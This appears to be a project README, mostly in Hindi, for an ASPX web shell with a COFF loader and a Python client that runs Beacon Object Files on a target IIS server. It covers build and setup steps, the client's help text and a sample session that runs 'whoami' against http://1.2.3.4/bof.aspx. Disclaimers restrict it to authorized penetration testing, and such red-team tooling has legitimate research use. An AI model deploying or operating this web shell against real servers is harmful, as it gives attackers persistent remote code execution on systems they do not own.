
ASPX वेब शैल के साथ COFF लोडर जो एक अर्ध-संवादात्मक Python क्लाइंट के माध्यम से लक्ष्य सर्वरों पर Beacon Object Files (BOFs) को निष्पादित करने के लिए है, जिसे अधिकृत पेनिट्रेशन टेस्टिंग के लिए डिज़ाइन किया गया है।
TrustedSec के CS_COFFLoader पर आधारित
यह ASPX वेब शेल अर्ध-संवादात्मक Python क्लाइंट का उपयोग करके लक्ष्य सर्वर पर बीकन ऑब्जेक्ट फ़ाइलों (BOFs) के निष्पादन को सक्षम करता है।
यह TrustedSec के CS_COFFLoader से प्राप्त COFF लोडर कार्यान्वयन का लाभ उठाता है।
यह प्रोजेक्ट केवल सुरक्षा अनुसंधान और अधिकृत पैठ परीक्षण के लिए है। इस प्रोजेक्ट का उपयोग करके, आप सभी लागू कानूनों और विनियमों का अनुपालन करने के लिए सहमत होते हैं।
उपयोग करने से पहले आपको यह करना होगा:
https://github.com/trustedsec/CS_COFFLoader/tree/main/beacon_object से beacon_compatibility.c संकलित करें, और ASPX फ़ाइल में {{BEACON_DATA}} प्लेसहोल्डर को Base64-एन्कोडेड ऑब्जेक्ट फ़ाइल से बदलें।
अपने BOFs संकलित करें, उदाहरण के लिए, https://github.com/trustedsec/CS-Situational-Awareness-BOF से, और वेब क्लाइंट में संकलित BOFs वाली निर्देशिका का पथ निर्दिष्ट करें।
python3 webshell_bof_client.py http://1.2.3.4/bof.aspx
[*] ASPX Web Shell With COFF Loader Client
[*] Target: http://1.2.3.4/bof.aspx
[*] Beacons: /usr/share/beacons
[*] Type 'help' for available commands.
bof> help
Client for ASPX Web Shell with COFF Loader
Based on TrustedSec's COFFLoader: https://github.com/trustedsec/COFFLoader/tree/main
Author: Eugenie Potseluevskaya
For security research and authorized penetration testing only.
Use strictly on systems you own or have explicit written permission to test.
Unauthorized use is illegal and the author assumes no liability for misuse or damages resulting from this code.
Available commands:
help
Show this message.
list
List available beacons in the beacons directory.
exec <beacon_name> [format_string [arg1 arg2 ...]]
Execute a beacon against the server.
beacon_name Name of the beacon subdirectory.
format_string bof_pack format string (b/i/s/z/Z). Omit if no args needed.
arg1 arg2 ... Arguments matching the format string.
Examples:
exec whoami
exec mybeacon z "hello world"
exec mybeacon zi "some string" 42
exec mybeacon zZ "str1" "widestr"
exit
Quit the client.
bof> exec whoami
[*] Sending 'whoami' (x64) to http://1.2.3.4/bof.aspx ...
── Output ──────────────────────────────────────
UserName SID
====================== ====================================
IIS APPPOOL\DefaultAppPool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
....